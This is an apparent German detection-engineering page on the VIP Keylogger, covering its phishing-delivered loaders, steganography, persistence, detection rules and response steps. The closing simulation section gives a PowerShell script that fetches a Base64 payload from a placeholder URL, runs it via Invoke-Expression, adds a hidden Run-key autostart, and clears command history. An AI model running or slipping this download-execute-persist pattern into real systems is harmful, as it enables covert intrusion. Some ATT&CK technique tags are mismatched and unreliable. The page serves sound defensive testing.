VIP-Keylogger und seine mehrschichtigen Ausweichtaktiken
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
VIP Keylogger ist eine modulare Bedrohung für Informationsdiebstahl, die über Phishing-Köder wie gefälschte Bankzahlungsbenachrichtigungen verteilt wird. Seine Infektionskette basiert auf bösartigen VBS-, JavaScript- oder Batch-basierten Ladern, die starke Verschleierung, Steganografie in PNG-Bildern und Missbrauch von Umgebungsvariablen verwenden, um PowerShell-Stufen zu verbergen, bevor der endgültige Keylogger gestartet wird. Sobald aktiv, erfasst die Malware Anmeldedaten, Screenshots, Zwischenablageinhalte und WLAN-Passwörter und exfiltriert dann die Daten über mehrere Command-and-Control-Kanäle. Erkennungsbemühungen sollten sich auf verdächtige Registrierungsänderungen, ungewöhnliche Werte von Umgebungsvariablen und abnormale Übergänge von Skriptausführungen zu Binär-Payloads konzentrieren.
Untersuchung
Das Splunk Threat Research Team überprüfte mehr als 200 Laderproben, die im März und April 2026 gesammelt wurden, und dokumentierte deren Namensmuster, Lader-Varianten und den steganografischen Einsatz von PNG-Dateien zur Payload-Zustellung. Forscher rekonstruierten den Deobfuskationsprozess, erkannten den Missbrauch der INTERNAL_DB_CACHE Umgebungsvariable und verfolgten die Persistenz bis zum UserInitMprLogonScript Registrierungsschlüssel. Der Bericht ordnete auch jedes beobachtete Verhalten relevanten MITRE ATT&CK-Techniken zu, um die Detektionsentwicklung zu unterstützen.
Minderung
Organisationen sollten die initialen Phishing-Versuche durch stärkere E-Mail-Sicherheitskontrollen und URL-Filterung stoppen. Verteidiger sollten die Erstellung und Änderung von HKCUEnvironment Werten überwachen, insbesondere übergroße Einträge oder die Verwendung der INTERNAL_DB_CACHE Variable. Die Ausführung skriptbasierter Lader aus benutzerbeschreibbaren Verzeichnissen sollte eingeschränkt werden, und PowerShells eingeschränkter Sprachmodus sollte, wo möglich, durchgesetzt werden. Endpunktsicherheitswerkzeuge sollten auch das Einfügen von Prozessen in aspnet_compiler.exe und verdächtige netsh Aktivitäten erkennen.
Antwort
Wird ein VIP-Keylogger-Indikator entdeckt, sollte der betroffene Host isoliert, flüchtiger Speicher und kürzlich ausgeführte Prozesslogs gesammelt sowie nach bekannten Registrierungsartefakten, PNG-basierten Command-and-Control-URLs und abgelegten Dateien gesucht werden. Die bösartigen Skripte sollten entfernt, aufgedeckte Anmeldedaten zurückgesetzt und eine umfassendere Untersuchung der Umgebung auf verwandte Lader-Artefakte und Persistenzmechanismen durchgeführt werden.
graph TB classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef operator fill:#ff9900 initial_access[„<b>Aktion</b> – <b>T1566 Phishing</b><br/>Schädliche .vbs/.js/.bat Dateien per E-Mail geliefert“] class initial_access action execution[„<b>Aktion</b> – <b>T1059.005 Visual Basic</b>, <b>T1059.007 JavaScript</b>, <b>T1059.001 PowerShell</b><br/>Ausführung von Stager-Skripten auf dem Host“] class execution action obfuscation[„<b>Aktion</b> – <b>T1027.016 Junk-Code-Einfügung</b>, <b>T1027.003 Steganografie</b>, <b>T1027.009 Eingebettete Payloads</b><br/>Versteckte oder getarnte Nutzlasten“] class obfuscation action persistence[„<b>Aktion</b> – <b>T1574.007 Hijacking des Ausführungsflusses</b> via Registry Logon Script<br/><b>T1037.001 Autostart-Skript</b><br/>Ausführung beim Login“] class persistence action priv_esc[„<b>Aktion</b> – <b>T1055.002 Prozessinjektion PE</b>, <b>T1055.001 DLL-Injektion</b>, <b>T1620 Reflexives Laden</b><br/>Privilegieneskalation und Umgehung“] class priv_esc action credential_access[„<b>Aktion</b> – <b>T1555.003 Browserdaten</b>, <b>T1056.001 Keylogging</b>, <b>T1115 Clipboard-Hijacking</b><br/>Sammeln von Zugangsdaten“] class credential_access action discovery[„<b>Aktion</b> – <b>T1596.005 Externe IP-Erkennung</b> via öffentliche Dienste<br/><b>T1016.002 WLAN-Erkennung</b><br/>Netzwerkinformationen“] class discovery action collection[„<b>Aktion</b> – <b>T1113 Screenshot-Erfassung</b><br/>Visuelle Desktop-Daten“] class collection action c2[„<b>Aktion</b> – <b>T1071.001 Web-Protokolle</b> und Telegram API<br/>Fernsteuerung“] class c2 action defense_evasion[„<b>Aktion</b> – <b>T1070.004 Dateilöschung</b>, <b>T1070.010 Indikatorentfernung</b><br/>Spurenbeseitigung“] class defense_evasion action initial_access –>|führt_zu| execution execution –>|führt_zu| obfuscation obfuscation –>|führt_zu| persistence persistence –>|führt_zu| priv_esc priv_esc –>|führt_zu| credential_access credential_access –>|führt_zu| discovery discovery –>|führt_zu| collection collection –>|führt_zu| c2 c2 –>|führt_zu| defense_evasion
Angriffsablauf
Erkennungen
Mögliche IP-Nachschlage-Domain-Kommunikation versucht (via dns)
Ansicht
Mögliche Persistenzpunkte [ASEPs – Software/NTUSER Hive] (via registry_event)
Ansicht
Die Möglichkeit der Ausführung durch versteckte PowerShell-Kommandozeilen (via cmdline)
Ansicht
LOLBAS WScript / CScript (via process_creation)
Ansicht
Verdächtige PowerShell-Strings (via powershell)
Ansicht
Aufruf verdächtiger .NET-Methoden aus PowerShell (via powershell)
Ansicht
Möglicher Telegram-Missbrauch als Command-and-Control-Kanal (via dns_query)
Ansicht
IOCs (HashSha256) zur Erkennung: Hinter dem Code: Die verschachtelte Verteidigung-Ausweichung des VIP Keylogger
Ansicht
VIP Keylogger-PowerShell-Ausführung über Umgebungsvariable [Windows PowerShell]
Ansicht
VIP-Keylogger-Persistenz über Registrierungsänderung [Windows Registry Event]
Ansicht
Simulationsausführung
Voraussetzung: Der Telemetrie- & Baseline-Vorabflug-Check muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechnik (TTP), die entworfen wurde, um die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die die Erkennungslogik erwartet. Abstrakte oder unzusammenhängende Beispiele führen zu Fehldiagnosen.
-
Angriffs-Narrativ & Befehle:
- Erstes Erkennen – der Angreifer führt
Get-ADDomain(T1016.002) aus, um Vertrauensbeziehungen in der Domäne zu entdecken. - Payload-Erwerb – mittels
Invoke-WebRequest(T1071.001) lädt der Angreifer eine Base64-codierte DLL herunter, die den Keylogger implementiert (T1056.001). - Staging über Umgebungsvariable – die heruntergeladene Zeichenkette wird durch
[Environment]::SetEnvironmentVariablein einer benutzerdefinierten Umgebungsvariable gespeichert. Dieser Schritt erfüllt den Fokus der Erkennungsregel auf Manipulation von Umgebungsvariablen. - Dynamische Ausführung – der Angreifer führt die Payload sofort mit
Invoke-Expression $env:VIPPayload(T1059.001) aus. Der Keylogger beginnt Keystrokes, Screenshots (T1113) und Zwischenablagendaten (T1115) zu erfassen. - Bereinigung – nach der Etablierung der Persistenz (z. B. Erstellung eines Run-Schlüssels, T1037.001) löscht der Angreifer die temporäre DLL von der Festplatte (T1070.004) und entfernt die Umgebungsvariable, um den forensischen Fußabdruck zu reduzieren.
- Erstes Erkennen – der Angreifer führt
-
Regressionstest-Skript: Das unten stehende Skript reproduziert die genauen Schritte und erzeugt die Telemetrie, die die Sigma-Regel erwartet.
# VIP Keylogger Simulation – PowerShell # ------------------------------------------------- # 1. Laden Sie ein Dummy-Payload (Base64-codierter String) herunter $payloadUrl = "https://raw.githubusercontent.com/example/dummy-keylogger/main/payload.b64" $b64Payload = (Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing).Content.Trim() # 2. Speichern Sie das Payload in einer benutzerdefinierten Umgebungsvariablen $envVarName = "VIPPayload" [Environment]::SetEnvironmentVariable($envVarName, $b64Payload, "User") # 3. Dekodieren und führen Sie das Payload über Invoke-Expression aus $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64Payload)) Invoke-Expression $decoded # 4. (Optional) Persistenz über Run-Schlüssel – demonstriert T1037.001 $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun" Set-ItemProperty -Path $runKey -Name "VIPKeylogger" -Value "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"Invoke-Expression $env:$envVarName`"" # 5. Bereinigung – entfernen Sie die Umgebungsvariable und den Run-Schlüssel-Eintrag Start-Sleep -Seconds 30 # zulassen, dass einige Aktivitäten protokolliert werden Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue [Environment]::SetEnvironmentVariable($envVarName, $null, "User") -
Bereinigungsbefehle: Führen Sie diese Befehle aus, um das System nach dem Test in einen einwandfreien Zustand zurückzuversetzen.
# Entfernen Sie die für den Test erstellte Umgebungsvariable [Environment]::SetEnvironmentVariable("VIPPayload", $null, "User") # Löschen Sie den Persistenz-Run-Schlüssel-Eintrag, falls vorhanden $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun" Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue # Löschen Sie alle verbleibenden PowerShell-Verlaufsdatensätze (optional) Clear-History